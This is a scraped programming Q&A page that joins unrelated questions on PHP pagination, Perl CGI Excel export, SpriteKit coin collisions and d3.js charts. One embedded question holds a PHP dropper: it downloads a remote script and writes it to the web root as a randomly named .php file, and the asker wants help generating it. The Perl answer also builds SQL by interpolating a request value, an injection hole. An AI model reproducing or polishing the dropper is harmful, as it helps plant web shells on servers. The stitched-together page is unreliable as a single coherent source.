I have a pagination script that displays a list of all pages.
My site has a lot of pages, and all page numbers are shown in the pagination.
I would like to only show ten of the numbers at a time
like this:
Prev [1][2][3][4][5][6][7][8][9][10] Next
How can I accomplish this? Here is my code:
$tableName="jobposting";
$targetpage = "index.php";
$limit = 6;
$query = "SELECT COUNT(*) as num FROM $tableName";
$total_pages = mysql_fetch_array(mysql_query($query));
$total_pages = $total_pages[num];
$stages = 3;
$page = mysql_escape_string($_GET['page']);
if($page){
$start = ($page - 1) * $limit;
}else{
$start = 0;
}
// Get page data
$query1 = "SELECT * FROM $tableName ORDER BY date DESC, id ASC LIMIT $start, $limit";
$result = mysql_query($query1);
// Initial page num setup
if ($page == 0){$page = 1;}
$prev = $page - 1;
$next = $page + 1;
$lastpage = ceil($total_pages/$limit);
$LastPagem1 = $lastpage - 1;
$paginate = '';
if($lastpage > 1)
{
$paginate .= "<div class='paginate'>";
// Previous
if ($page > 1){
$paginate.= "<a href='$targetpage?page=$prev'>prev</a>";
}else{
$paginate.= "<span class='disabled'>prev</span>"; }
// Pages
if ($lastpage < 7 + ($stages * 2)) // Not enough pages to breaking it up
{
for ($counter = 1; $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
}
elseif($lastpage > 5 + ($stages * 2)) // Enough pages to hide a few?
{
// Beginning only hide later pages
if($page < 1 + ($stages * 2))
{
for ($counter = 1; $counter < 4 + ($stages * 2); $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// Middle hide some front and some back
elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $page - $stages; $counter <= $page + $stages; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// End only hide early pages
else
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
}
}
// Next
if ($page < $counter - 1){
$paginate.= "<a href='$targetpage?page=$next'>next</a>";
}else{
$paginate.= "<span class='disabled'>next</span>";
}
$paginate.= "</div>";
}
?>
Related
anyone call tell me how i can use a Formatted string literals for this function in php:
<?php #ini_set("output_buffering", 0); #ini_set("display_errors", 0); set_time_limit(0); function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER["DOCUMENT_ROOT"] . "'/{filephpran}'"; $text = http_get("https://example.com/script.txt"); $open = fopen($check, "w"); fwrite($open, $text); fclose($open); if(file_exists($check)){ } echo ""; ?>
i have try so many time but still dont working, need on php function add " filephpran ".
filephpran = random_file(10) + '.php'
f'<?php #ini_set("output_buffering", 0); #ini_set("display_errors", 0); set_time_limit(0); function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER["DOCUMENT_ROOT"] . "'/{filephpran}'"; $text = http_get("https://example.com/script.txt"); $open = fopen($check, "w"); fwrite($open, $text); fclose($open); if(file_exists($check)){ } echo ""; ?>'
Thanks so much for help me!!
I have a Perl CGI script that displays results (50 rows) from a database query on a web page.
At the end of each row, I have a column which is HTML href link.
When this link is clicked, I have to open that particular record in Excel and allow it to be saved.
I tried using SpreadSheet::WriteExcel, but no luck.
Can anyone please give me a help link or help thread regarding this?
Code:
while(my $row = $query->fetchrow_hashref){
$html .= "<tr>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{promoter}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{company}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{bunit}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{sub}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{region}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{workstream}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{contractor}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{amp}</td>";
### Link to open this record in excel sheet ##
}
In the main script, create a link with anchor tag which redirects to new script where you define what exactly need to be written in Excel.
Created a new script where below sub routine is defined.
When the link is clicked, it will ask for Download/Save option for excel document.
Code:1
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{workstream}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{contractor}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{amp}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC'><a href='notC.cgi?promoter=$row->{promoter}' target='_blank'>Link</a></td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC'><a href='escC.cgi?promoter=$row->{promoter}' target='_blank'>Link</a></td>";
Code:2
sub doExcel {
print "Content-type: excel/ms-excel; name=notC.xls\n";
print "Content-disposition: attachment; filename=notC.xls\n\n";
binmode(STDOUT);
my $dbh = Kearynet::Database->Handle();
my $query = $dbh->prepare("SELECT * FROM projects.notNames where notPromoter = '$notPromoter' ");
$query->execute();
while($row = $query->fetchrow_hashref){
$searchresults{ $row->{notId} } = $row;
}
my $fname="notContacts_".$notPromoter.".xls";
print "Content-type: excel/ms-excel; name=$fname\n";
print "Content-disposition: attachment; filename=$fname\n\n";
binmode(STDOUT);
my $x=0;
my $workbook = Spreadsheet::WriteExcel->new(\*STDOUT);
my $worksheet = $workbook->add_worksheet("NotificationContacts");
$worksheet->activate();
$worksheet->write($x, 0, "Not RouteId");
$worksheet->write($x, 1, "Not Promoter");
$worksheet->write($x, 2, "Not Level");
.....
foreach my $r (sort keys %searchresults){
my $nrow = $searchresults{$r};
if( not $row->{notId} ){
$worksheet->write($x, 0, $nrow->{notRouteId} );
$worksheet->write($x, 1, $nrow->{notPromoter} );
$worksheet->write($x, 2, $nrow->{notLevel} );
$worksheet->write($x, 3, $nrow->{notRegion} );
$worksheet->write($x, 4, $nrow->{nTWRConId_1} );
$worksheet->write($x, 5, $nrow->{nTWRConName_1} );
}
}
}
I am a Newbie, and I am making my first game. Everything is working great accept when I added coins.
-(void)spawnCoin {
SKNode* coinNode = [SKNode node];
coinNode.position = CGPointMake(self.frame.size.width + 150 + (arc4random() % 100), 0 );
coinNode.zPosition = -10;
CGFloat y = arc4random() % (NSInteger)( self.frame.size.height / 2 ) + 40;
SKTexture* coinTexture1 = [SKTexture textureWithImageNamed:#"Coins_1"];
coinTexture1.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture2 = [SKTexture textureWithImageNamed:#"Coins_2"];
coinTexture2.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture3 = [SKTexture textureWithImageNamed:#"Coins_3"];
coinTexture3.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture4 = [SKTexture textureWithImageNamed:#"Coins_4"];
coinTexture4.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture5 = [SKTexture textureWithImageNamed:#"Coins_5"];
coinTexture5.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture6 = [SKTexture textureWithImageNamed:#"Coins_6"];
coinTexture6.filteringMode = SKTextureFilteringNearest;
SKAction* spin = [SKAction repeatActionForever:[SKAction animateWithTextures:#[coinTexture1, coinTexture2, coinTexture3, coinTexture4, coinTexture5, coinTexture6] timePerFrame:0.05]];
_coin = [SKSpriteNode spriteNodeWithTexture:coinTexture6];
[_coin runAction:spin];
[_coin setScale:1.0];
_coin.position = CGPointMake( 0, y );
_coin.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:_coin.size];
_coin.physicsBody.dynamic = NO;
_coin.physicsBody.categoryBitMask = scoreCategory;
_coin.physicsBody.contactTestBitMask = birdCategory;
[coinNode addChild:_coin];
[coinNode runAction:_moveCoinsAndRemove];
[_coins addChild:coinNode];
SKNode* contactNode = [SKNode node];
contactNode.position = CGPointMake(0,y);
contactNode.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:_coin.size];
contactNode.physicsBody.dynamic = NO;
contactNode.physicsBody.categoryBitMask = scoreCategory;
contactNode.physicsBody.contactTestBitMask = birdCategory;
[_coin addChild:contactNode];
}
(void)didBeginContact:(SKPhysicsContact *)contact {
if (_score > _heighscore) {
[[NSUserDefaults standardUserDefaults] setInteger:_score forKey:#"HighScoreSave"];
// Vibrate
AudioServicesPlayAlertSound(kSystemSoundID_Vibrate);
}
if( _moving.speed > 0 ) {
if( ( contact.bodyA.categoryBitMask & scoreCategory ) == scoreCategory || ( contact.bodyB.categoryBitMask & scoreCategory ) == scoreCategory ) {
// contact with score entity
SKNode* coinNode = contact.bodyB.node;
[coinNode removeFromParent];
coinNode.hidden = YES;
_score++;
_scoreLabelNode.text = [NSString stringWithFormat:#"%ld", (long)_score];
Solved this,
coinNode.position = CGPointMake(self.frame.size.width / 1 + _coin.size.width / 1 - 50 + (arc4random() % 50), 0 );
coinNode.zPosition = -10;
CGFloat y = arc4random() % (NSInteger)( self.frame.size.height / 2 ) + 20;
But now I have a NEW problem. When my hero hits the coins they react like obstacles and he is killed instead of just counting and vanishing. It add to to the score for the hit, but also stops the entire game as if the hero has been killed.
Here is my code:
[_coin setScale:1.0];
_coin.position = CGPointMake( 0, y );
_coin.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:_coin.size];
_coin.physicsBody.dynamic = NO;
_coin.physicsBody.usesPreciseCollisionDetection = YES;
_coin.physicsBody.categoryBitMask = coinCategory;
_coin.physicsBody.collisionBitMask = 0;
_coin.physicsBody.contactTestBitMask = birdCategory;
[coinNode addChild:_coin];
SKNode* coinContactNode = [SKNode node];
coinContactNode.position = CGPointMake( _bird.size.width / 0.5, CGRectGetMidY( _coin.frame ) );
coinContactNode.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:CGSizeMake(_coin.size.width, _coin.size.height)];
coinContactNode.physicsBody.dynamic = NO;
coinContactNode.physicsBody.usesPreciseCollisionDetection = YES;
coinContactNode.physicsBody.categoryBitMask = coinCategory;
coinContactNode.physicsBody.collisionBitMask = 0;
coinContactNode.physicsBody.contactTestBitMask = birdCategory;
[_coin addChild:coinContactNode];
[coinNode runAction:_moveCoinsAndRemove];
[_coins addChild:coinNode];
And here:
(void)didBeginContact:(SKPhysicsContact *)contact {
if (_score > _heighscore) {
[[NSUserDefaults standardUserDefaults] setInteger:_score forKey:#"HighScoreSave"];
// Sound effect – Score
[self runAction:[SKAction playSoundFileNamed:#"Tap_It_Real_Good.mp3" waitForCompletion:NO]];
// Vibrate
AudioServicesPlayAlertSound(kSystemSoundID_Vibrate);
}
if( _moving.speed > 0 ) {
if( ( contact.bodyA.categoryBitMask & coinCategory ) == coinCategory || ( contact.bodyB.categoryBitMask & coinCategory ) == coinCategory ) {
_score2++;
_scoreLabelNode2.text = [NSString stringWithFormat:#"%ld", (long)_score2];
// Sound effect – Score
[self runAction:[SKAction playSoundFileNamed:#"Tap_It.mp3" waitForCompletion:NO]];
// Add a little visual feedback for the score increment
[_scoreLabelNode2 runAction:[SKAction sequence:#[[SKAction scaleTo:1.5 duration:0.2], [SKAction scaleTo:1.0 duration:0.2]]]];
}
if( ( contact.bodyA.categoryBitMask & scoreCategory ) == scoreCategory || ( contact.bodyB.categoryBitMask & scoreCategory ) == scoreCategory ) {
// Bird has contact with score entity
_score++;
// Sound effect – Score
[self runAction:[SKAction playSoundFileNamed:#"Tap_It.mp3" waitForCompletion:NO]];
_scoreLabelNode.text = [NSString stringWithFormat:#"%ld", (long)_score];
// Add a little visual feedback for the score increment
[_scoreLabelNode runAction:[SKAction sequence:#[[SKAction scaleTo:1.5 duration:0.2], [SKAction scaleTo:1.0 duration:0.2]]]];
} else {
// Bird has collided with world
_moving.speed = 0;
_bird.physicsBody.collisionBitMask = worldCategory;
_coins.speed = 0;
_bird.speed = 0;
[_bird runAction:[SKAction rotateByAngle:M_PI * _bird.position.y * 0.01 duration:_bird.position.y * 0.003] completion:^{
}];
// Sound effect – Collision
[self runAction:[SKAction playSoundFileNamed:#"Tap_It.mp3" waitForCompletion:NO]];
// Vibrate
AudioServicesPlayAlertSound(kSystemSoundID_Vibrate);
// Flash background if contact is detected
[self removeActionForKey:#"flash"];
[self runAction:[SKAction sequence:#[[SKAction repeatAction:[SKAction sequence:#[[SKAction runBlock:^{
self.backgroundColor = [SKColor redColor];
}], [SKAction waitForDuration:0.05], [SKAction runBlock:^{
self.backgroundColor = _skyColor;
}], [SKAction waitForDuration:0.05]]] count:4], [SKAction runBlock:^{
_canRestart = YES;
}]]] withKey:#"flash"];
}
}
}
Any help. Thanks :)
I've read everything I can find on this website, but haven't been able to find an answer.
I have a pagination that displays in ascending order. I have noticed that when I enter a new file to my database, they don't show up first in the pagination result. Any help would be appreciated. Here is my pagination script:
<?php
include('connect.php');
$tableName="resumesearch";
$targetpage = "searchresumes.php";
$limit = 5;
$query = "SELECT COUNT(*) as num FROM $tableName";
$total_pages = mysql_fetch_array(mysql_query($query));
$total_pages = $total_pages[num];
$stages = 3;
$page = mysql_escape_string($_GET['page']);
if($page){
$start = ($page - 1) * $limit;
}else{
$start = 0;
}
// Get page data
$query1 = "SELECT * FROM $tableName LIMIT $start, $limit";
$result = mysql_query($query1);
// Initial page num setup
if ($page == 0){$page = 1;}
$prev = $page - 1;
$next = $page + 1;
$lastpage = ceil($total_pages/$limit);
$LastPagem1 = $lastpage - 1;
$paginate = '';
if($lastpage > 1)
{
$paginate .= "<div class='paginate'>";
// Previous
if ($page > 1){
$paginate.= "<a href='$targetpage?page=$prev'>previous</a>";
}else{
$paginate.= "<span class='disabled'>previous</span>"; }
// Pages
if ($lastpage < 7 + ($stages * 2)) // Not enough pages to breaking it up
{
for ($counter = 1; $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
}
elseif($lastpage > 5 + ($stages * 2)) // Enough pages to hide a few?
{
// Beginning only hide later pages
if($page < 1 + ($stages * 2))
{
for ($counter = 1; $counter < 4 + ($stages * 2); $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// Middle hide some front and some back
elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $page - $stages; $counter <= $page + $stages; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// End only hide early pages
else
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage? page=$counter'>$counter</a>";}
}
}
}
// Next
if ($page < $counter - 1){
$paginate.= "<a href='$targetpage?page=$next'>next</a>";
}else{
$paginate.= "<span class='disabled'>next</span>";
}
$paginate.= "</div>";
}
echo $total_pages.' Results';
// pagination
echo $paginate;
?>
The ordering of a query without an ORDER BY is unspecified.
Thus, ORDER BY (DESC) in the query is required - this means that there must be a column or set of columns that define a stable ordering. For instance, imagine is the query is updated to:
SELECT * FROM $tableName
ORDER BY createdAt DESC, id ASC
LIMIT $start, $limit
Here I conjecture that there is an createdAt column that represents the dateitem an item was added. The addition of the ordering over the id (presumably an auto-increment PK) is to ensure query stability in the case where multiple createdAt columns have the same value, which might be the case in highly concurrent or mass-insert situations.
Note that I do not simply use ORDER BY id DESC because even though id is (presumed to be) an auto-increment column it does not represent the same stable ordering of information. Databases are about information.
In addition,
MySQL has a clever way of returning the "total count" with a limit and;
Consider updating the code to use mysqli/PDO and prepared statements.
im new to this d3.js stuff and i'm willing to learn it, i'm doing a site and i need my path to be open at the end and i want to add some tooltips to it, i've done read a few documents over the web and none made sense in my code, can anyone shed some light into it please, thanks in advance!! :)
my code is the following, it generates two graphics:
function getDateX(day2)
{
day = new String(day2);
return new Date(day.substring(0, 4) + '-' + day.substring(4, 6) + '-' + day.substring(6, 8));
}
function plotData(id, data, type)
{
var margin = {top: 40, right: 15, bottom: 30, left: 55},
width = 455,
height = 270 - margin.top - margin.bottom;
var x = d3.time.scale().range([0, width]);
var y = d3.scale.linear().range([height, 0]);
var xAxis = d3.svg.axis().scale(x).orient("bottom").ticks(data.length < 7 ? data.length : (data.length > 14 ? data.length / 5 : data.length / 3) ).tickFormat(d3.time.format("%d/%m"));
var yAxis = d3.svg.axis().scale(y).orient("left").ticks(5);
var area = d3.svg.area()
.x(function(d) { return x(getDateX(d.day)); })
.y0(height)
.y1(function(d) { return y( type == 'score' ? parseFloat(d.score) : d.good + d.neutral + d.bad)});
var svg = d3.select("#" + id)
.append("svg")
.attr("width", width + margin.left + margin.right)
.attr("height", height + margin.top + margin.bottom)
.append("g")
.attr("transform", "translate(" + margin.left + "," + margin.top + ")");
svg.data(data);
x.domain(d3.extent(data, function(d) { return getDateX(d.day); }));
var min = d3.min(data, function(d) { return parseFloat(d.score); });
if(min > 6)
min = 6;
else if(min > 1)
min--;
if(type == 'score')
y.domain([min, 10]);
else
y.domain([0, d3.max(data, function(d) { return d.good + d.neutral + d.bad; })]);
svg.append("path").datum(data).attr("class", "area").attr("d", area);
svg.append("g").attr("class", "x axis").attr("transform", "translate(0," + height + ")").call(xAxis);
svg.append("g").attr("class", "y axis").call(yAxis);
}
var scores =
[
<%
boolean appendComma = false;
for(MovieGrade grade : info.getGrades())
{
if(appendComma)
out.print(",");
else
appendComma = true;
out.print("{\"day\":" + grade.getDay() + ", \"good\":" + grade.getGood() + ", \"neutral\":" + grade.getNeutral() + ", \"bad\":" + grade.getBad() + ", \"score\":\"" + grade.getScore() + "\"}");
}
%>
];
plotData('evolucao-score', scores, 'score');
plotData('evolucao-comments', scores, 'comments');